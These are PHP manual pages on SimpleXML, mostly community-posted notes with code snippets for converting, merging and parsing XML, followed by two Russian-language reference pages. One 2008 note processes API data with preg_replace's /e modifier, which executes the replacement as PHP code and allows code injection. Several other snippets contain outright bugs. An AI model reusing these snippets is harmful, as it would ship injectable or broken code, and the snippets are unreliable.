    // xml2array function results
    array(1) {
      ["level1"]=>array(3) {
        ["l1_elm1"]=>array(1) {
          ["level2"]=>array(2) {
            ["l2_elm1"]=>string(9) "Some Text"
            ["l2_elm2"]=>array(0) {}
          }
        }
        ["l1_elm2"]=>string(12) "Other String"
        ["l1_elm3"]=>array(0) {}
      }
    }
?>

Now, check node type and size, if node instanceof SimpleXMLElement and count == 0, set null to value (or empty string "" as you prefer);
<?php
    function xml2array($xmlObject, $out = array ()) {
        foreach ((array) $xmlObject as $index => $node )
            $out[$index] = (is_object($node) || is_array($node)) ? (($node instanceof \SimpleXMLElement) && count((array) $node)==0 ? null : xml2array($node)) : $node;
        return $out;
    }

    $xml = simplexml_load_string('<?xml version="1.0" encoding="UTF-8" standalone="no"?><results><level1><l1_elm1><level2><l2_elm1>Some Text</l2_elm1><l2_elm2/></level2></l1_elm1><l1_elm2>Other String</l1_elm2><l1_elm3/></level1></results>');
    var_dump(xml2array($xml));

    // And now the result is like bellow
    array(1) {
      ["level1"]=>array(3) {
        ["l1_elm1"]=>array(1) {
          ["level2"]=>array(2) {
            ["l2_elm1"]=>string(9) "Some Text"
            ["l2_elm2"]=>NULL
          }
        }
        ["l1_elm2"]=>string(12) "Other String"
        ["l1_elm3"]=>NULL
      }
    }
?>
brandonkirsch at gmail dot com 09-Sep-2013 07:41
Contrary to other notes posted here, SimpleXML *DOES NOT* properly handle non-UTF8 encoded XML documents.

A proper "iso-8859-1" declared and encoded XML document will not parse with SimpleXML for PHP 5.2.17 or 5.5.1 when using extended characters (that is, byte values greater than 127)

DOMDocument, on the other hand, will correctly parse incoming iso-8859-1 XML documents and can also be used to perform character translation to UTF8:

$dom = new DOMDocument();

if($dom->loadXML($fileContents)){ // $fileContents is an XML document with iso-8859-1 encoding specified in the declaration
            $dom->encoding = 'utf-8'; // convert document encoding to UTF8
            return $dom->saveXML(); // return valid, utf8-encoded XML
William Fahria 15-Jul-2013 07:34
A simple implementation:
You can inform a direct XML in text format to the function.

function eoXML2Array($xmlContent, $out = array()){
    $xmlObject = is_object($xmlContent) ? $xmlContent : simplexml_load_string($xmlContent);
    foreach((array) $xmlObject as $index => $node)
        $out[$index] = ( is_object($node) || is_array($node) ) ? eoXML2Array( $node ) : $node;
    return $out;
}

Usage: $your_array = eoXML2Array(your xml text);
r dot m dot 0100101 at gmail dot com 25-Apr-2013 03:00
This is a slight adjustment to http://www.php.net/manual/en/ref.simplexml.php#103617 's function.
The function given by them would convert a simpleXML to an array but only at the highest level. Once you add the is_array check with the is_object it should convert each level to an array (well it did for me through 3 levels).

function simpleXmlObjectToArray ( $xmlObject, $out = array () )
{
    foreach ( (array) $xmlObject as $index => $node )
        $out[$index] = ( is_object ( $node ) || is_array($node) )
        ? simpleXmlObjectToArray ( $node )
        : $node;

    return $out;
}
Happy Coding!
Eric 29-Jan-2013 03:00
If the SimpleXMLObject contains an array, adding is_array() allows the function to keep digging for Objects.

<?php
function xml2array ( $xmlObject, $out = array () )
{
        foreach ( (array) $xmlObject as $index => $node )
            $out[$index] = ( is_object ( $node ) ||  is_array ( $node ) ) ? xml2array ( $node ) : $node;

        return $out;
}
?>
thomas at guenneguez dot com 14-Dec-2011 02:36
Merge two xml only with SimpleXML :
Function corrected if note containe only value.

<?php
function mergeXML(&$base, $add)
{
    if ( $add->count() != 0 )
        $new = $base->addChild($add->getName());
    else
        $new = $base->addChild($add->getName(), $add);
    foreach ($add->attributes() as $a => $b)
    {
        $new->addAttribute($a, $b);
    }
    if ( $add->count() != 0 )
    {
        foreach ($add->children() as $child)
        {
            mergeXML($new, $child);
        }
    }
}
?>

Use : <?php mergeXML($xmlElement, simplexml_load_string($toMerge)) ?>
julien dot breiner at laposte dot net 09-Dec-2011 10:31
Merge two xml only with SimpleXML :

<?php
private function mergeXML(&$base, $add)
{
    $new = $base->addChild($add->getName());
    foreach ($add->attributes() as $a => $b) {
        $new[$a] = $b;
    }
    foreach ($add->children() as $child) {
        $this->mergeXML($new, $child);
    }
}?>

Use : <?php mergeXML($xmlElement, simplexml_load_string($toMerge)) ?>
k dot antczak at livedata dot pl 22-Apr-2011 01:08
A quick snippet which converts XML Object into array:

<?php
function xml2array ( $xmlObject, $out = array () )
{
        foreach ( (array) $xmlObject as $index => $node )
            $out[$index] = ( is_object ( $node ) ) ? xml2array ( $node ) : $node;

        return $out;
}
?>

Have fun! ;-)
help :-) @ theapotek :-) com 08-Apr-2011 12:54
If you are having trouble accessing CDATA in your simplexml document, you don't need to str_replace/preg_replace the CDATA out before loading it with simplexml.

You can do this instead, and all your CDATA contents will be merged into the element contents as strings.

$xml = simplexml_load_file($xmlfile,
'SimpleXMLElement', LIBXML_NOCDATA);
Andrez zenarter at hotmail dot com 16-Jul-2009 10:56
I just wanna add an additional to
"Append/combine/merge one simplexml to another"
The parent should has attributes too.

<?php

function append_simplexml(&$simplexml_to, &$simplexml_from)
{

static $firstLoop=true;

//Here adding attributes to parent
if( $firstLoop )
            {
                foreach( $simplexml_from->attributes() as $attr_key => $attr_value )
                {
                    $simplexml_to->addAttribute($attr_key, $attr_value);
                }
            }

foreach ($simplexml_from->children() as $simplexml_child)
    {
        $simplexml_temp = $simplexml_to->addChild($simplexml_child->getName(), (string) $simplexml_child);
        foreach ($simplexml_child->attributes() as $attr_key => $attr_value)
        {
            $simplexml_temp->addAttribute($attr_key, $attr_value);
        }

       $firstLoop=false;

        append_simplexml($simplexml_temp, $simplexml_child);
    }

unset( $firstLoop=false );
}

?>

I have aproblem to assign an object into a variable used as an object later, Then i found the code above, it solve half of my problem. I have it should have the parent name assign too but it didnt. Any better code?
Douglas Marsh 06-Jul-2009 08:53
SimpleXML is really nice for loading/converting XML data into native PHP data structures. I was considering crude searching of SVG for the width/height and since it really is an XML file... I found a SUPER easy method for parsing out the information I wanted:

<?php
// putting incomplete SVG data inline for readability
$RawXML = <<< XML
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<svg
   xmlns:dc="http://www.example.com/dc"
   xmlns:cc="http://www.example.com/cc"
   xmlns:rdf="http://www.example.com/rdf"
   xmlns:svg="http://www.example.com/svg"
   xmlns="http://www.example.com/"
   xmlns:sodipodi="http://www.example.com/sodipodi"
   xmlns:inkscape="http://www.example.com/inkscape"
   id="svg2"
   sodipodi:version="0.32"
   inkscape:version="0.46"
   width="586.25"
   height="743.75"
   xml:space="preserve"
   sodipodi:docname="some_svg_file.svg"
   inkscape:output_extension="org.inkscape.output.svg.inkscape">
 <!-- portions removed to keep this short -->
</svg>
XML;

$svg = new SimpleXMLElement($RawXML);

$height = $svg['height'];
$width = $svg['width'];

echo "The width x height is: ${width} x ${height} \n";

?>
info at ajaxforum dot ru 17-Jun-2009 12:32
Append/combine/merge one simplexml to another:

<?php
include 'example.php';
$el1 = new SimpleXMLElement($xmlstr);
$el2 = new SimpleXMLElement($xmlstr);

// wrong way!
// php convert $el2->movie[0] to string silently
$el1->addChild('movie', $el2->movie[0]);

// wrong way!
// php 5.1 convert $el2->movie[0] to string and generate Warning: It is not yet possible to assign complex types to properties. It is not possible to assign complex types to nodes
// php 5.2 convert $el2->movie[0] to string silently
$el1->addChild('movie');
$el1->movie[2] = $el2->movie[0];

// right way!
$el1_movie = $el1->addChild('movie');
append_simplexml($el1_movie, $el2->movie[0]);

echo "<pre>"; print_r($el1); echo "</pre>";

/**
 * Add one simplexml to another
 *
 * @param object $simplexml_to
 * @param object $simplexml_from
 * @author Boris Korobkov
 * @link http://www.ajaxforum.ru/
 */
function append_simplexml(&$simplexml_to, &$simplexml_from)
{
    foreach ($simplexml_from->children() as $simplexml_child)
    {
        $simplexml_temp = $simplexml_to->addChild($simplexml_child->getName(), (string) $simplexml_child);
        foreach ($simplexml_child->attributes() as $attr_key => $attr_value)
        {
            $simplexml_temp->addAttribute($attr_key, $attr_value);
        }

        append_simplexml($simplexml_temp, $simplexml_child);
    }
}
?>
codejunky32 at NOSPAM dot com 22-May-2009 08:45
Just wanted to add a post as to how you can extract the value from a SimpleXMLElement. Its not as straightforward as you think. Because its a complex object you can't just access the element directly. Here is a sample of data that represents a var_dump of a SimpleXmlElement

array(1) {
  [0]=>
  object(SimpleXMLElement)#13 (2) {
    ["@attributes"]=>
    array(1) {
      ["name"]=>
      string(5) "title"
    }
    [0]=>
    string(19) "PHP Tech Book"
  }
}

If you want to extract the title of the book you have to cast the specified element to a string like so.
$newTitle = (string) $title[0];

The $title variable is the SimpleXMLElement that you have extracted from the xml document using simplexml_load_string for instance.  To initially access the title element from the xml document you can do like so, using xpath.
$title = $doc->xpath('str[@name="title"]');

Hope this helps someone out there.
james dot ellis at gmail dot com 28-Aug-2008 06:55
While SimpleXML is a powerful tool, developers using it to process and handle large XML documents & strings should take into careful consideration its memory usage requirements.
SimpleXML requires the entire XML tree to be available prior to any processing actions on that tree -- this requires the entire tree to be in memory. Ok for a 40kb XML file but when dealing with > 100MB files you will see performance degradation, especially if you have a busy server.

An alternative to processing large XML files is the XMLReader class, which operates in streaming mode, of which an excellent tutorial is presented here:
http://www.ibm.com/developerworks/library/x-pullparsingphp.html

XML is an incredibly verbose format. If you are dealing with large data structures, especially in web services, do you you actually need to represent the data as an XML tree? - other serialisation formats such as JSON, Serialised PHP, Google Protocol Buffers (http://code.google.com/p/protobuf/) and even CSV can remarkably reduce processing time, bandwidth and load  when dealing with large files. A 110MB XML file can become a 65MB CSV file, with the same data in it, simply because the data identifiers (tags) are only represented once in the entire document.
m0sh3 at hotmail dot com 22-May-2008 03:24
Be aware of quirks like this one:

<?php

$a = new SimpleXMLElement('<a><b/></a>');

$a->b = 'test &amp; test';
$a->c = 'test &amp; test';

print_r($a);
/*
OUTPUT:

SimpleXMLElement Object
(
    [b] => test & test
    [c] => test &amp; test
)
*/
nathan at gimpstraw dot com 05-Apr-2008 09:43
I'm using SimpleXML to process data sent back from an API request, and I ran into the CDATA problem and the error you get from html entities, and here is a solution i came up with, don't know if it's the most practical, but it's working.

<?php
$str = <<< XML
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<menu>
    <item>
        <title><![CDATA[Caf&eacute;]]></title>
        <description><![CDATA[Some description.]]></description>
    </item>
</menu>
XML;

$str = preg_replace("/\<\!\[CDATA\[(.*?)\]\]\>/ies", "'[CDATA]'.base64_encode('$1').'[/CDATA]'", $str);
$xml = new SimpleXMLElement($str);

// Return item title's
foreach ($xml->item as $item) {
    $tmp = (string) $item->title;
    $tmp = preg_replace("/\[CDATA\](.*?)\[\/CDATA\]/ies", "base64_decode('$1')", $tmp);
    echo $tmp;
}
?>
ngkongs at gmail dot com 19-Mar-2008 10:44
fix the function i posted before, have a wrong quote placement

function implode2($glue="", $var){
    if ($var){
        foreach ($var as $value){
            $array[]=strval($value);
        }
        return implode($glue, $array);
    }
    else return false;
}
philippe_marc_--a---t--_novartis_com 12-Feb-2008 09:46
TIP: if you run into memory issue using simpleXML.
You may want to use PHP>5.2.5 in order to avoid that: http://bugs.php.net/bug.php?id=38604
If not possible, avoid "foreach ( $xmldata->node as $node )" like calls.
andrvm 02-Jan-2008 03:01
<?php
/**
    * Remove node/nodes xml with xpath
    *
    * @param SimpleXMLElement                 $xml
    * @param string XPath                     $path
    * @param string ('one'|'child'|'all')     $multi
    *
    * Use:
    *
    * Example xml file - http://ru2.php.net/manual/ru/ref.simplexml.php
    *
    * $xml = simplexml_load_file($xmlfile);
    *
    * //1. remove only 1 node (without child nodes)
    * //   $path must return only 1 (unique) node without child nodes
    * removeNode($xml, '//movie/rating[@type="thumbs"]');
    *
    * //2. remove 1 node (with 1 child nodes)
    * //    $path can return any nodes - will be removed only first node
    * //   with all child nodes
    * removeNode($xml, '//characters', 'child')
    *
    * //3. remove all nodes (with child nodes)
    * //   $path can return any nodes - will be removed all
    * //   with child nodes
    * removeNode($xml, '//rating', 'all')
    *
    * $xml->asXML($xmlfile);
    *
    */
   function removeNode($xml, $path, $multi='one')
   {
       $result = $xml->xpath($path);

          # for wrong $path
          if (!isset($result[0])) return false;

          switch ($multi) {
              case 'all':
                    $errlevel = error_reporting(E_ALL & ~E_WARNING);
                    foreach ($result as $r) unset ($r[0]);
                    error_reporting($errlevel);
                    return true;

                case 'child':
                   unset($result[0][0]);
                   return true;

                case 'one':
                   if (count($result[0]->children())==0 && count($result)==1) {
                       unset($result[0][0]);
                       return true;
                   }

                default:
                      return false;
          }
 }
?>

p.s. after use (if deleted all nodes):
<?php

   function trimXml($xmlfile)
   {
       $dom = new DOMDocument();

          $dom->preserveWhiteSpace = false;

         if (!$dom->load($xmlfile)) return false;

         $dom->formatOutput = true;

         if (!$dom->save($xmlfile)) return false;

         return true;
   }
?>
onPHP5.com 17-Nov-2007 04:37
It does not say in the docs, but SimpleXML will convert all text into UTF-8, if the source XML declaration has another encoding. Eg, if the source has the following XML decl:

<?xml version="1.0" encoding="windows-1251" ?>

all the text in the resulting SimpleXMLElement will be in UTF-8 automatically.
lordi at msdi dot ca 23-Oct-2007 05:35
If you need to do math calculations on values extracted from simplexml document, you might need to cast the value as float to prevent precision loss. Here is an example:

<?php
    $objXML = new SimpleXMLElement('<test x="-123.45"></test>');

    //Shows correctly
    echo $objXML['x']."\n";

    //We loose the decimals
    echo $objXML['x'] + $objXML['x']."\n";

    $x = $objXML['x'];

    //This works if we cast the amounts
    echo (float)$objXML['x'] + (float)$objXML['x']."\n";

    //Calculated on a string, no problem
    echo "-123.45" + "-123.45";

?>

This is due to the fact that $objXML['x'] is not a string (php would cast it automatically) neither a float, but a SimpleXMLElement object.

"echo var_dump($x);" will output this
~~
object(SimpleXMLElement)#3 (1) {
  [0]=>
  string(7) "-123.45"
}
~~

I opened a bug request on php but here is the answer they gave me:

~~
Status: Won't fix

The behavior is defined by the engine not the extension. When performing mathematical operations on objects, they are treated as integers. It is up to the user to cast the object to the appropriate type to maintain proper precision.
~~
cmsa at gmx dot de 27-Aug-2007 05:07
I had a problem with entities.

My first solution:
I saved Data that way:
$ENTRY_->
addchild('Nachricht',htmlentities($_POST["blog"]));

Had Entities in the XML-File like:
<!ENTITY auml "&amp;auml">

And I loaded the Data that way:
html_entity_decode($ENTRY->Nachname);

But after saving and
loading the xml-file the entity-entry
<!ENTITY auml "&amp;auml">
disappeared. strange...

My second solution:
With saving the Data this way:
$ENTRY_->
addchild('Nachricht',htmlentities(htmlentities($_POST["blog"])));

I can now load it with html_entity_decode without the
 entity-entry in the XML-file!
I tested it with aou.

Hope it helpes.
karsten dot bruch at bms-verlage dot de 16-Aug-2007 08:28
When creating a new XML document and adding text with umlauts and such

<?php $SimpleXMLElement->asXML(); ?>

will silently NOT output any content with umlauts.

Use htmlentities () while adding Umlauts & co to solve the "problem"
anthony dot parsons at manx dot net 03-Aug-2007 07:40
If you're handling lots of HTML or mixed-content XML you'll probably want to use the DOM functions instead of SimpleXML. Take this for example:
<?php
$html = new SimpleXMLElement('<div><p>Some text, <a href="#">a link,</a> more text</p></div>');

echo $html->p->a,"<br>\n"; // "a link,"
echo $html->p;             // "Some text, more text" (!)
?>
In the above example reconstructing the original markup is impossible because of the way SimpleXML represents the data.
php at werner dash ott dot de 28-Mar-2007 06:03
Concerning SimpleXML and sessions:

When creating a SimpleXML object (to be precise: a SimpleXMLElement object) in the context of a session and storing it in $_SESSION['XMLobject'], this object does not "survive" the session!

By the time re-entering the session, print_r($_SESSION['XMLobject']) says:

['XMLobject'] => SimpleXMLElement Object
Warning:  Node no longer exists in /your_php_file.php on line xyz
   (
   )

(Message simplified for the sake of better readability.)
codje2 at lboro dot ac dot uk 11-Mar-2007 01:46
Sometimes it's nice to mix up data storage types. This is a very simple SQL to XML converter. Feed it a SQL query and it outputs the result in XML.

The first paramater should be a mysql_query result
(optional)The second is the xml name for each row (i.e the second depth of XML)
(optional)The third is the name of the XML document, the root name

<?php
$result=mysql_query("SELECT * FROM users");
sql_to_xml($result,"users","members");

function sql_to_xml($mysql_result,$row_name="row",$doc_name="root")
{

    $xml= new SimpleXMLElement("<$doc_name></$doc_name>");
    while($line=mysql_fetch_assoc($mysql_result))
    {
        $row=$xml->addChild($row_name);
        foreach($line as $column => $value)
        {
            $row->$column="$value";
        }
    }
    return $xml->asXML();
}

?>
php at NOSPAM dot coutch dot com 21-Feb-2007 02:04
Memory leak when setting attributes as in example (#Example 2134. Setting values)

This probably goes unnoticed in web scripts (unless you do a LOT of xml manipulations), but I ran into this in my standalone script that processes a large number of XML files.

The following code will eat up memory quite fast:

<?php
include 'example.php';

while (true) {
  $xml = new SimpleXMLElement($xmlstr);
  $xml->movie[0]->characters->character[0]->name = 'Miss Coder';
}
?>

while this seems to behave correctly:

<?php
include 'example.php';

while (true) {
  $xml = new SimpleXMLElement($xmlstr);
  $c = $xml->xpath("//character");
  $c[0]->name = 'Miss Coder';
}
?>

This looks like bug #38604, and I just confirmed that in 6.0.0-dev (on Windows at least) it is fixed.  It is NOT fixed in 5.2.1 or  5.2.2-dev (2/21 build), so for 5.2 users, use the second form to avoid leaks.
joel [from the website] purerave.com 19-Feb-2007 05:57
It doesn't mention this anywhere, but creationg a new SimpleXMLElement object from a non-valid string throws an exception. It looks ugly in the php log as it dumps the stack in multiple lines.

The correct way to create a new SimpleXMLElement object is like so:
<?php
$xmlstr = ''; // empty to throw an exception
try {
   $xml = new SimpleXMLElement($xmlstr);
} catch (Exception $e) {
   // handle the error
   echo '$xmlstr is not a valid xml string';
}
?>
matt at mattbostock dot com 05-Nov-2006 11:40
Be careful when using var_export to debug element attributes - it won't work! Always use print() or similar for checking the contents of element attributes.
Arnaud Bienvenu 19-Oct-2006 07:35
As of PHP 5.1.4, trying to iterate on a non-existent node will actually create that node.

<?
$xml = simplexml_load_string('<root></root>');
foreach($xml->b as $dummy);
echo $xml->asXML();
?>

Gives :

<?xml version="1.0"?>
<root><b/></root>

You might think it is a bug, but PHP developers seam to consider it as a feature : http://bugs.php.net/bug.php?id=39164
Jason Sheets <jsheets at shadonet dot com> 31-May-2006 10:31
Here is my Simple XML to array function, it is recursive and has the benefit of maintaining key value relationships and has worked well for me.

<?php
function XMLToArray($xml)
{
  if ($xml instanceof SimpleXMLElement) {
    $children = $xml->children();
    $return = null;
  }

  foreach ($children as $element => $value) {
    if ($value instanceof SimpleXMLElement) {
      $values = (array)$value->children();

      if (count($values) > 0) {
        $return[$element] = XMLToArray($value);
      } else {
        if (!isset($return[$element])) {
          $return[$element] = (string)$value;
        } else {
          if (!is_array($return[$element])) {
            $return[$element] = array($return[$element], (string)$value);
          } else {
            $return[$element][] = (string)$value;
          }
        }
      }
    }
  }

  if (is_array($return)) {
    return $return;
  } else {
    return $false;
  }
}
?>
daniel dot oconnor at gmail dot com 17-May-2006 06:21
SimpleXML handles namespaces, but it's not documented very well here at all.

If you wanted to parse, say, an open office manifest file or a piece of RDF/XML, you have to get elements and attributes by the namespace url.

Example:
<?php
function display($in) {
    if (file_exists($in)) {
        $xml = simplexml_load_file($in);
    } else {
        throw new Exception($in . " does not exist");
    }

    $manifest = $xml->children('http://openoffice.org/2001/manifest');

    foreach ($manifest->xpath('//manifest:file-entry') as $file) {
        foreach ($file->attributes('http://openoffice.org/2001/manifest') as $key => $value) {
            print "Key:" . $key . "\n";
            print "Value:" . $value . "\n";
        }
    }

}
?>

File: manifest.xml

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE manifest:manifest PUBLIC "-//OpenOffice.org//DTD Manifest 1.0//EN" "Manifest.dtd">
<manifest:manifest xmlns:manifest="http://openoffice.org/2001/manifest">
 <manifest:file-entry manifest:media-type="application/vnd.sun.xml.writer" manifest:full-path="/"/>
 <manifest:file-entry manifest:media-type="application/vnd.sun.xml.ui.configuration" manifest:full-path="Configurations2/"/>
 <manifest:file-entry manifest:media-type="application/binary" manifest:full-path="layout-cache"/>
 <manifest:file-entry manifest:media-type="text/xml" manifest:full-path="content.xml"/>
 <manifest:file-entry manifest:media-type="text/xml" manifest:full-path="styles.xml"/>
 <manifest:file-entry manifest:media-type="text/xml" manifest:full-path="meta.xml"/>
 <manifest:file-entry manifest:media-type="" manifest:full-path="Thumbnails/thumbnail.png"/>
 <manifest:file-entry manifest:media-type="" manifest:full-path="Thumbnails/"/>
 <manifest:file-entry manifest:media-type="text/xml" manifest:full-path="settings.xml"/>
</manifest:manifest>
paul at preinheimer dot com 06-May-2005 05:11
Hi,

If you want to access an element that has a dash in its name, (as is common with the XML documents provided by the Library of Congress, as well as the NWS) you will need to handle it a little bit differently.

You can either use XPATH, which works fine, but will return an array of results every time, even if there is a single result.
eg.

<?php
$xml->xpath('/data/time-layout/start-valid-time');
?>

You can also choose just to encapsulate the element names containing a dash:
<?php $xml->data->{'time-layout'}->{'start-valid-time'} ?>

--

On a only partially related note, dealing with SimpleXML is one of the only times I have employed casting with PHP. While iterating (foreach) through the valid times, echo'ing the element worked great (it merely echo'ed the apropriate time), assigning it to another variable resulted in a SimpleXML object containing the time to be assigned, rather than just the time itself. This was resolved by casting the time to a string:

<?php
foreach($xml->data->{'time-layout'}->{'start-valid-time'} AS $time)
{
 $weatherDates[] = (string) $time;
}
?>
T CHASSAGNETTE t_chassagnette at yahoo dot fr 04-May-2005 01:57
Another method to parse an XML Document into a PHP array with SIMPLEXML inspired from Daniel FAIVRE !

<?php
function xml2php($xml)
{
    $fils = 0;
    $tab = false;
    $array = array();
    foreach($xml->children() as $key => $value)
    {
        $child = xml2php($value);

        //To deal with the attributes
        foreach($node->attributes() as $ak=>$av)
        {
            $child[$ak] = (string)$av;

        }

        //Let see if the new child is not in the array
        if($tab==false && in_array($key,array_keys($array)))
        {
            //If this element is already in the array we will create an indexed array
            $tmp = $array[$key];
            $array[$key] = NULL;
            $array[$key][] = $tmp;
            $array[$key][] = $child;
            $tab = true;
        }
        elseif($tab == true)
        {
            //Add an element in an existing array
            $array[$key][] = $child;
        }
        else
        {
            //Add a simple element
            $array[$key] = $child;
        }

        $fils++;
      }

    if($fils==0)
    {
        return (string)$xml;
    }

    return $array;

}
?>
nelson_menezes at yahoo dot co dot uk 01-Mar-2005 05:05
Note that SimpleXML expects to both read and output XML in UTF-8 encoding. You'll need to add a line such as this at the top of your input XML file if it isn't saved in UTF-8 (adjust to whatever encoding used):

<?xml version="1.0" encoding="ISO-8859-1" ?>

On the output side of things, if you're not serving/handling UTF-8, you'll need to use utf8_decode() [red. but that will only work for ISO-8859-1, not other encodings]. Common mistake: http://bugs.php.net/bug.php?id=28154
brcavanagh AT NO SPAM hotmail.com 02-Jan-2005 09:18
If you are looking to use SimpleXML for anything but reading XML documents, you should really reconsider, and use the XML DOM library.  By the time you get enough utilities implemented in DOM to handle all the set backs in SimpleXML, you will have defeated the purpose of using SimpleXML.  There are a few reasons for this, and there are already many workrounds, but the primairy issues are this

1) No complex node assignment.  You cannot switch nodes or replace them.

2) No appending new child nodes

3) Whenever you do something like $new_node = $xml_doc->node you will always get a reference even if you use a clone method, which will crash the script.

Other than that, its a great tool for reading docs.


Получает объект класса SimpleXMLElement из узла DOM

  • « Функции SimpleXML
  • simplexml_load_file »
  • PHP Manual
  • Функции SimpleXML
  • Получает объект класса SimpleXMLElement из узла DOM

simplexml_import_dom

(PHP 5, PHP 7, PHP 8)

simplexml_import_dom — Получает объект класса SimpleXMLElement из узла DOM

Описание

simplexml_import_dom(object $node, ?string $class_name = SimpleXMLElement::class): ?SimpleXMLElement

Функция берет узел документа DOM и превращает его в узел SimpleXML. Затем этот новый объект может быть использован как первичный элемент SimpleXML.

Список параметров

node

Узел-элемент DOM

class_name

Разрешается использовать этот дополнительный параметр, чтобы функция simplexml_import_dom() возвращала объект заданного класса. Этот класс должен расширять класс SimpleXMLElement.

Возвращаемые значения

Функция возвращает объект класса SimpleXMLElement или null, если возникла ошибка.

Примеры

Пример #1 Импорт DOM

<?php

$dom = new DOMDocument();

$dom->loadXML('<books><book><title>чепуха</title></book></books>');

if (!$dom) {
echo 'Ошибка при разборе документа';
exit;
}

$s = simplexml_import_dom($dom);

echo $s->book[0]->title;

?>

Результат выполнения приведённого примера:

чепуха

Смотрите также

  • dom_import_simplexml() - Получает объект класса DOMElement из объекта класса SimpleXMLElement
  • Основы работы с модулем SimpleXML

User Contributed Notes

paul dot allsopp at digital-pig dot com 06-Jun-2023 12:07
Why not just:
simplexml_import_dom(dom_import_simplexml($SimpleXmlNode))
shirkaen at gmail dot com 10-Nov-2016 06:58
/*If tags in DOM have text and some part of this text is surrounded by other tag, simple_import_dom object doesn't contain position of child tag, so rendering it back to html/xml can be a problem. Printing such a node is also peculiar. Eg.*/

//////////////////////
$text = "<body><p>Some text before <em>italic </em>and after text.</p></body>";
$dom = new DOMDocument;
$dom->loadHTML($text);
$result = simplexml_import_dom($dom);
echo $result->p;

//////////////////////
//Prints :
//Some text before and after text.

print_r($result->p);
//Prints:
//SimpleXMLElement Object ( [em] => italic )

print_r($result->p->em)
//does more or less the same:
//SimpleXMLElement Object ( [0] => italic )

var_dump($result->p);
//Prints:
//object(SimpleXMLElement)#8 (1) { ["em"]=> string(7) "italic " }

var_dump($result->p->em)
//object(SimpleXMLElement)#9 (1) { [0]=> string(7) "italic " }

//but
echo $result->p->em;
//prints:
//italic
brandonkirsch at perceptionilluminates dot com 14-Aug-2013 03:38
simplexml_import_dom() will accept DOMNodes or other SimpleXMLElements.  This has a useful purpose if you are extending the SimpleXMLElement class and would prefer the xpath() method to return your class extension instead of basic SimpleXMLElements.  For example:

class MySimpleXML extends SimpleXMLElement{
    public function xpath($xpath){
        $return = array();
        $simpleXmls = parent::xpath($xpath); // run SimpleXMLElement xpath, returning an array of SimpleXMLElements
        foreach($simpleXmls as $xml){
            $return[] = simplexml_import_dom($xml,'MySimpleXML'); // copy SimpleXMLElement, returning as MySimpleXML instance
        }
        return $return;
    }
}

Now I can create an instance of MySimpleXML, run an xpath, and get my results back as an array of MySimpleXML elements instead of the native SimpleXMLElement:

$mySimpleXml = new mySimpleXml('<root><node/></root>');

$array = $mySimpleXml->xpath('/root/node'); // returns array with a single MySimpleXml object


Интерпретирует XML-файл в объект

  • « simplexml_import_dom
  • simplexml_load_string »
  • PHP Manual
  • Функции SimpleXML
  • Интерпретирует XML-файл в объект

simplexml_load_file

(PHP 5, PHP 7, PHP 8)

simplexml_load_file — Интерпретирует XML-файл в объект

Описание

simplexml_load_file(
string $filename,
?string $class_name = SimpleXMLElement::class,
int $options = 0,
string $namespace_or_prefix = "",
bool $is_prefix = false
): SimpleXMLElement|false

Преобразовывает правильно сформированный XML-документ в указанном файле в объект.

Список параметров

filename

Путь к XML-файлу

class_name

Можно использовать этот необязательный параметр, чтобы функция simplexml_load_file() возвращала объект указанного класса. Этот класс должен расширять класс SimpleXMLElement.

options

Побитовое ИЛИ (OR) констант опций libxml.

namespace_or_prefix

Префикс пространства имён или URI.

is_prefix

true, если значение параметра namespace_or_prefix — префикс, и false, если URI; по умолчанию равен false.

Возвращаемые значения

Возвращает объект (object) класса SimpleXMLElement со свойствами, содержащими данные, которые хранятся внутри XML-документа или false, если возникла ошибка.

Внимание

Функция возвращает как логическое значение false, так и нелогическое значение, которое приводится к false. Прочитайте раздел «Логический тип», чтобы получить дополнительную информацию. Используйте оператор === для проверки значения, которое возвращает функция.

Ошибки

Генерирует сообщение об ошибке уровня E_WARNING для каждой ошибки, найденной в XML-данных.

Подсказка

Используйте функцию libxml_use_internal_errors() для того, чтобы подавить все ошибки XML, и функцию libxml_get_errors() для прохода по ним впоследствии.

Примеры

Пример #1 Интерпретация XML-документа

<?php
// Файл test.xml содержит XML-документ с корневым элементом
// и по меньшей мере элемент /[root]/title.

if (file_exists('test.xml')) {
$xml = simplexml_load_file('test.xml');

print_r($xml);
} else {
exit('Не удалось открыть файл test.xml.');
}
?>

Этот скрипт выведет следующее в случае успешного завершения:

SimpleXMLElement Object
(
  [title] => Пример заголовка
  ...
)

Здесь вы можете использовать $xml->title и любые другие элементы.

Смотрите также

  • simplexml_load_string() - Интерпретирует строку с XML в объект
  • SimpleXMLElement::__construct() - Создаёт новый объект SimpleXMLElement
  • Работа с ошибками XML
  • libxml_use_internal_errors() - Отключение ошибок libxml и передача полномочий по выборке и обработке информации об ошибках пользователю
  • Основы работы с модулем SimpleXML
  • libxml_set_streams_context() - Установка контекста потоков для следующей загрузки или записи документа посредством libxml

User Contributed Notes

siraic at gmail dot com 20-Jun-2023 08:47
LibXML typically uses ten times the file size in memory to read a file, and this memory usage falls largely outside the memory limit guarded by PHP.
tg at debian dot org 20-Feb-2022 09:36
This function does not accept all pathnames, in spite of its documentation.

$ php -r 'print_r( simplexml_load_file("%25.xml"));'
PHP Warning:  simplexml_load_file(): I/O warning : failed to load external entity "%25.xml" in Command line code on line 1
visualmind at nospam dot php dot net 18-Jan-2022 02:49
This may sometimes get missed, but if your xml nodes are in the format:
<prefix:element />

You need to make sure to set the [namespace or prefix] argument and the [isPrefix] argument to true. Also when recalling elements you need to avoid adding the prefix if that is already set, so in the above example "prefix:element" should be added as "element" but when saved the prefix will be added automatically.

If prefix is not set during load or object construction, load will fail to get the nodes correctly and you will not be able to recall elements directly so $xml->{'prefix:element'} will not work either.
sirgrayjn at gmail dot com 22-Sep-2016 09:51
// Be carefull if you migrate or use local machine
// for test/development.

// Windows directory separators: "\" and "/"
// You may mix separators "C:\somedir\www/img/bg.jpg".

// Mixed separators path work fine in other functions
// But simplexml_load_file() failed with mixed separators.

// Examples:
include("C:\dir\my.php");    // work (windows)
include("C:\dir/my.php");    // work (windows) with mixed
include("C:/dir/my.php");    // work (windows, linux)
simplexml_load_file("C:\dir\my.php");    // work
simplexml_load_file("C:\dir/my.php");    // failed with mixed
simplexml_load_file("C:/dir/my.php");    // work
rex111 at bigmir dot net 08-Sep-2016 03:02
Get all tags and their values. (recursive)

<?php
$xml = simplexml_load_file('settings.xml');

